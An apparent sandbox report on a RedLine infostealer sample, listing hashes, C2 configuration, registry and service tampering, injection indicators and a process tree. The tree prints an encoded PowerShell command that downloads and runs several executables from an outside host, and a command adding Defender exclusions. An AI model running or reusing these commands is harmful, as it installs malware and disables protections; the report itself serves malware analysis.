redline | b4968767ee9f8c1ae309d7f8a8f4c9cff847a81d46d021608add9de06a4ba965

Analysis

max time kernel
38s
max time network
78s
platform
windows10-2004_x64
resource
win10v2004-20220901-en
resource tags

arch:x64arch:x86image:win10v2004-20220901-enlocale:en-usos:windows10-2004-x64system
submitted
27/01/2023, 07:16

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General

Target
c565f71f426a913c738310198a01654ed930dd09.exe
Size 361KB
Sample230127-h3rn2aaf81
SHA256 b4968767ee9f8c1ae309d7f8a8f4c9cff847a81d46d021608add9de06a4ba965
MD5 0d356ea4776618c8018b385e50720061
SHA1 c565f71f426a913c738310198a01654ed930dd09
SHA512 68a17800b2f2fefb5e5f28c2d1639989361f158c53dcc5e7c6ca49b61e7eabc1343b0e91ca8bdba1febfac33cc92ad84a6daf94acae9abf8470a722a91db7268
SSDEEP 6144:/iN9Ozs7npw4ngtJ5kJ+w4UhclWqDzEgvDv8LGB3JBVvidaGExXAO+DzyM7+Hc:/iqzs7nNg35kJ+wJhcgqDzLbvBBxvxXw
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

redline 1 evasion infostealer spyware

Malware Config

Extracted

Family

redline

Botnet

107.182.129.73:21733

Attributes

auth_value
3a5bb0917495b4312d052a0b8977d2bb

Signatures

Modifies security service 2 TTPs 5 IoCs

evasion

Modify Registry

T1112

Modify Existing Service

T1031

description	ioc	Process
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Parameters	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Security	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\0	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\1	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo	reg.exe

RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine payload 1 IoCs

resource	yara_rule
behavioral2/memory/4740-174-0x0000000000400000-0x0000000000420000-memory.dmp	family_redline

Suspicious use of NtCreateUserProcessOtherParentProcess 5 IoCs

description	pid	Process	procid_target
PID 4708 created 2440	4708	SmartDefRun.exe	62
PID 4708 created 2440	4708	SmartDefRun.exe	62
PID 4708 created 2440	4708	SmartDefRun.exe	62
PID 4708 created 2440	4708	SmartDefRun.exe	62
PID 3652 created 588	3652	powershell.EXE	3

Blocklisted process makes network request 1 IoCs

flow	pid	Process
18	4568	powershell.exe

Downloads MZ/PE file

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File created	C:\Windows\System32\drivers\etc\hosts	SmartDefRun.exe

Executes dropped EXE 4 IoCs

pid	Process
2692	C4Loader.exe
4808	new2.exe
1236	SysApp.exe
4708	SmartDefRun.exe

Stops running service(s) 3 TTPs
evasion

Modify Existing Service
T1031

Impair Defenses
T1562

Service Stop
T1489
Uses the VBS compiler for execution 1 TTPs

Scripting
T1064
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081

Drops file in System32 directory 2 IoCs

description	ioc	Process
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.EXE
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log	powershell.EXE

Suspicious use of SetThreadContext 4 IoCs

description	pid	Process	procid_target
PID 3540 set thread context of 1536	3540	c565f71f426a913c738310198a01654ed930dd09.exe	83
PID 4808 set thread context of 4740	4808	new2.exe	94
PID 4708 set thread context of 3664	4708	SmartDefRun.exe	121
PID 3652 set thread context of 4204	3652	powershell.EXE	126

Drops file in Program Files directory 1 IoCs

description	ioc	Process
File created	C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe	SmartDefRun.exe

Launches sc.exe 5 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
4020	sc.exe
1584	sc.exe
3508	sc.exe
1332	sc.exe
204	sc.exe

Program crash 2 IoCs

pid	pid_target	Process	procid_target
4668	3540	WerFault.exe	81
3120	4808	WerFault.exe	89

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE

Suspicious behavior: EnumeratesProcesses 35 IoCs

pid	Process
4568	powershell.exe
4568	powershell.exe
1236	SysApp.exe
1236	SysApp.exe
1236	SysApp.exe
1236	SysApp.exe
1236	SysApp.exe
1236	SysApp.exe
1236	SysApp.exe
1236	SysApp.exe
1236	SysApp.exe
1236	SysApp.exe
4740	vbc.exe
4708	SmartDefRun.exe
4708	SmartDefRun.exe
3432	powershell.exe
3432	powershell.exe
4708	SmartDefRun.exe
4708	SmartDefRun.exe
4708	SmartDefRun.exe
4708	SmartDefRun.exe
3000	powershell.exe
3000	powershell.exe
3000	powershell.exe
4708	SmartDefRun.exe
4708	SmartDefRun.exe
4688	powershell.EXE
3652	powershell.EXE
4688	powershell.EXE
3652	powershell.EXE
3652	powershell.EXE
4204	dllhost.exe
4204	dllhost.exe
4204	dllhost.exe
4204	dllhost.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4568	powershell.exe
Token: SeDebugPrivilege	4740	vbc.exe
Token: SeDebugPrivilege	3432	powershell.exe
Token: SeDebugPrivilege	3000	powershell.exe
Token: SeIncreaseQuotaPrivilege	3000	powershell.exe
Token: SeSecurityPrivilege	3000	powershell.exe
Token: SeTakeOwnershipPrivilege	3000	powershell.exe
Token: SeLoadDriverPrivilege	3000	powershell.exe
Token: SeSystemProfilePrivilege	3000	powershell.exe
Token: SeSystemtimePrivilege	3000	powershell.exe
Token: SeProfSingleProcessPrivilege	3000	powershell.exe
Token: SeIncBasePriorityPrivilege	3000	powershell.exe
Token: SeCreatePagefilePrivilege	3000	powershell.exe
Token: SeBackupPrivilege	3000	powershell.exe
Token: SeRestorePrivilege	3000	powershell.exe
Token: SeShutdownPrivilege	3000	powershell.exe
Token: SeDebugPrivilege	3000	powershell.exe
Token: SeSystemEnvironmentPrivilege	3000	powershell.exe
Token: SeRemoteShutdownPrivilege	3000	powershell.exe
Token: SeUndockPrivilege	3000	powershell.exe
Token: SeManageVolumePrivilege	3000	powershell.exe
Token: 33	3000	powershell.exe
Token: 34	3000	powershell.exe
Token: 35	3000	powershell.exe
Token: 36	3000	powershell.exe
Token: SeIncreaseQuotaPrivilege	3000	powershell.exe
Token: SeSecurityPrivilege	3000	powershell.exe
Token: SeTakeOwnershipPrivilege	3000	powershell.exe
Token: SeLoadDriverPrivilege	3000	powershell.exe
Token: SeSystemProfilePrivilege	3000	powershell.exe
Token: SeSystemtimePrivilege	3000	powershell.exe
Token: SeProfSingleProcessPrivilege	3000	powershell.exe
Token: SeIncBasePriorityPrivilege	3000	powershell.exe
Token: SeCreatePagefilePrivilege	3000	powershell.exe
Token: SeBackupPrivilege	3000	powershell.exe
Token: SeRestorePrivilege	3000	powershell.exe
Token: SeShutdownPrivilege	3000	powershell.exe
Token: SeDebugPrivilege	3000	powershell.exe
Token: SeSystemEnvironmentPrivilege	3000	powershell.exe
Token: SeRemoteShutdownPrivilege	3000	powershell.exe
Token: SeUndockPrivilege	3000	powershell.exe
Token: SeManageVolumePrivilege	3000	powershell.exe
Token: 33	3000	powershell.exe
Token: 34	3000	powershell.exe
Token: 35	3000	powershell.exe
Token: 36	3000	powershell.exe
Token: SeIncreaseQuotaPrivilege	3000	powershell.exe
Token: SeSecurityPrivilege	3000	powershell.exe
Token: SeTakeOwnershipPrivilege	3000	powershell.exe
Token: SeLoadDriverPrivilege	3000	powershell.exe
Token: SeSystemProfilePrivilege	3000	powershell.exe
Token: SeSystemtimePrivilege	3000	powershell.exe
Token: SeProfSingleProcessPrivilege	3000	powershell.exe
Token: SeIncBasePriorityPrivilege	3000	powershell.exe
Token: SeCreatePagefilePrivilege	3000	powershell.exe
Token: SeBackupPrivilege	3000	powershell.exe
Token: SeRestorePrivilege	3000	powershell.exe
Token: SeShutdownPrivilege	3000	powershell.exe
Token: SeDebugPrivilege	3000	powershell.exe
Token: SeSystemEnvironmentPrivilege	3000	powershell.exe
Token: SeRemoteShutdownPrivilege	3000	powershell.exe
Token: SeUndockPrivilege	3000	powershell.exe
Token: SeManageVolumePrivilege	3000	powershell.exe
Token: 33	3000	powershell.exe

Suspicious use of WriteProcessMemory 60 IoCs

description	pid	Process	procid_target
PID 3540 wrote to memory of 1536	3540	c565f71f426a913c738310198a01654ed930dd09.exe	83
PID 3540 wrote to memory of 1536	3540	c565f71f426a913c738310198a01654ed930dd09.exe	83
PID 3540 wrote to memory of 1536	3540	c565f71f426a913c738310198a01654ed930dd09.exe	83
PID 3540 wrote to memory of 1536	3540	c565f71f426a913c738310198a01654ed930dd09.exe	83
PID 3540 wrote to memory of 1536	3540	c565f71f426a913c738310198a01654ed930dd09.exe	83
PID 1536 wrote to memory of 4568	1536	vbc.exe	86
PID 1536 wrote to memory of 4568	1536	vbc.exe	86
PID 1536 wrote to memory of 4568	1536	vbc.exe	86
PID 4568 wrote to memory of 2692	4568	powershell.exe	88
PID 4568 wrote to memory of 2692	4568	powershell.exe	88
PID 4568 wrote to memory of 2692	4568	powershell.exe	88
PID 4568 wrote to memory of 4808	4568	powershell.exe	89
PID 4568 wrote to memory of 4808	4568	powershell.exe	89
PID 4568 wrote to memory of 4808	4568	powershell.exe	89
PID 4568 wrote to memory of 1236	4568	powershell.exe	91
PID 4568 wrote to memory of 1236	4568	powershell.exe	91
PID 4568 wrote to memory of 1236	4568	powershell.exe	91
PID 4568 wrote to memory of 4708	4568	powershell.exe	92
PID 4568 wrote to memory of 4708	4568	powershell.exe	92
PID 4808 wrote to memory of 4740	4808	new2.exe	94
PID 4808 wrote to memory of 4740	4808	new2.exe	94
PID 4808 wrote to memory of 4740	4808	new2.exe	94
PID 4808 wrote to memory of 4740	4808	new2.exe	94
PID 4808 wrote to memory of 4740	4808	new2.exe	94
PID 4256 wrote to memory of 4020	4256	cmd.exe	109
PID 4256 wrote to memory of 4020	4256	cmd.exe	109
PID 4256 wrote to memory of 1584	4256	cmd.exe	110
PID 4256 wrote to memory of 1584	4256	cmd.exe	110
PID 4256 wrote to memory of 3508	4256	cmd.exe	112
PID 4256 wrote to memory of 3508	4256	cmd.exe	112
PID 4256 wrote to memory of 1332	4256	cmd.exe	113
PID 4256 wrote to memory of 1332	4256	cmd.exe	113
PID 4256 wrote to memory of 204	4256	cmd.exe	114
PID 4256 wrote to memory of 204	4256	cmd.exe	114
PID 4256 wrote to memory of 4836	4256	cmd.exe	115
PID 4256 wrote to memory of 4836	4256	cmd.exe	115
PID 4256 wrote to memory of 3540	4256	cmd.exe	116
PID 4256 wrote to memory of 3540	4256	cmd.exe	116
PID 4256 wrote to memory of 4400	4256	cmd.exe	117
PID 4256 wrote to memory of 4400	4256	cmd.exe	117
PID 4256 wrote to memory of 3408	4256	cmd.exe	118
PID 4256 wrote to memory of 3408	4256	cmd.exe	118
PID 4256 wrote to memory of 520	4256	cmd.exe	119
PID 4256 wrote to memory of 520	4256	cmd.exe	119
PID 4708 wrote to memory of 3664	4708	SmartDefRun.exe	121
PID 3652 wrote to memory of 4204	3652	powershell.EXE	126
PID 3652 wrote to memory of 4204	3652	powershell.EXE	126
PID 3652 wrote to memory of 4204	3652	powershell.EXE	126
PID 3652 wrote to memory of 4204	3652	powershell.EXE	126
PID 3652 wrote to memory of 4204	3652	powershell.EXE	126
PID 3652 wrote to memory of 4204	3652	powershell.EXE	126
PID 3652 wrote to memory of 4204	3652	powershell.EXE	126
PID 3652 wrote to memory of 4204	3652	powershell.EXE	126
PID 3652 wrote to memory of 4204	3652	powershell.EXE	126
PID 4204 wrote to memory of 588	4204	dllhost.exe	3
PID 4204 wrote to memory of 668	4204	dllhost.exe	1
PID 4204 wrote to memory of 940	4204	dllhost.exe	17
PID 4204 wrote to memory of 1020	4204	dllhost.exe	10
PID 4204 wrote to memory of 476	4204	dllhost.exe	11
PID 4204 wrote to memory of 536	4204	dllhost.exe	13

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
PID:668

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:588
- C:\Windows\system32\dwm.exe
  "dwm.exe"
  2⤵
  PID:1020
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{8c9492a7-4b54-462c-9429-72096d18468b}
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:4204

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:476

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:536

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:940

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:2440
- C:\Users\Admin\AppData\Local\Temp\c565f71f426a913c738310198a01654ed930dd09.exe
  "C:\Users\Admin\AppData\Local\Temp\c565f71f426a913c738310198a01654ed930dd09.exe"
  2⤵
  - Suspicious use of SetThreadContext
  - Suspicious use of WriteProcessMemory
  PID:3540
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1536
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAdABhACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAYwBqAHIAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAegBjAHMAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAYgB4AHoAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBoAG8AcAB0AG8ALgBvAHIAZwAvAHcAbwB3AC8AMQAvADIALwAzAC8ANAAvADUALwA2AC8ANwAvAEMANABMAG8AYQBkAGUAcgAuAGUAeABlACcALAAgADwAIwBhAGEAYQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGMAZAB6ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAGwAcwBqACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAEMANABMAG8AYQBkAGUAcgAuAGUAeABlACcAKQApADwAIwB3AGQAcwAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBuAGUAdwAyAC4AZQB4AGUAJwAsACAAPAAjAGoAYgBxACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAcQB6AGEAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAYwBlAGMAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAbgBlAHcAMgAuAGUAeABlACcAKQApADwAIwBtAGIAegAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBTAHkAcwBBAHAAcAAuAGUAeABlACcALAAgADwAIwBqAHcAYgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGYAcQB0ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHcAYgBhACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAeQBzAEEAcABwAC4AZQB4AGUAJwApACkAPAAjAHUAYQB3ACMAPgA7ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBoAG8AcAB0AG8ALgBvAHIAZwAvAHcAbwB3AC8AMQAvADIALwAzAC8ANAAvADUALwA2AC8ANwAvAFMAbQBhAHIAdABEAGUAZgBSAHUAbgAuAGUAeABlACcALAAgADwAIwBoAGkAYgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAHQAcAB2ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHQAcgBzACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAbQBhAHIAdABEAGUAZgBSAHUAbgAuAGUAeABlACcAKQApADwAIwBqAGwAcAAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBkAGMAcgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAZAB3AHAAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAQwA0AEwAbwBhAGQAZQByAC4AZQB4AGUAJwApADwAIwBoAHgAZwAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBwAGcAeQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAbQBkAGYAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAbgBlAHcAMgAuAGUAeABlACcAKQA8ACMAdgBoAGUAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAZQBxAHkAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAGoAbABkACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAeQBzAEEAcABwAC4AZQB4AGUAJwApADwAIwB5AGkAbQAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBjAGEAZQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAcABrAGoAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAUwBtAGEAcgB0AEQAZQBmAFIAdQBuAC4AZQB4AGUAJwApADwAIwBoAGYAZAAjAD4A"
      4⤵
      Blocklisted process makes network request
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:4568
    - - C:\Users\Admin\AppData\Local\Temp\C4Loader.exe
        
        "C:\Users\Admin\AppData\Local\Temp\C4Loader.exe"
        5⤵
        Executes dropped EXE
        
        PID:2692
    - - C:\Users\Admin\AppData\Local\Temp\new2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\new2.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        Suspicious use of WriteProcessMemory
        
        PID:4808
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
        6⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4740
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4808 -s 292
        6⤵
        Program crash
        
        PID:3120
    - - C:\Users\Admin\AppData\Local\Temp\SysApp.exe
        
        "C:\Users\Admin\AppData\Local\Temp\SysApp.exe"
        5⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        
        PID:1236
    - - C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe
        
        "C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe"
        5⤵
        Suspicious use of NtCreateUserProcessOtherParentProcess
        Drops file in Drivers directory
        Executes dropped EXE
        Suspicious use of SetThreadContext
        Drops file in Program Files directory
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:4708
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 3540 -s 292
    3⤵
    - Program crash
    PID:4668
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Suspicious behavior: EnumeratesProcesses
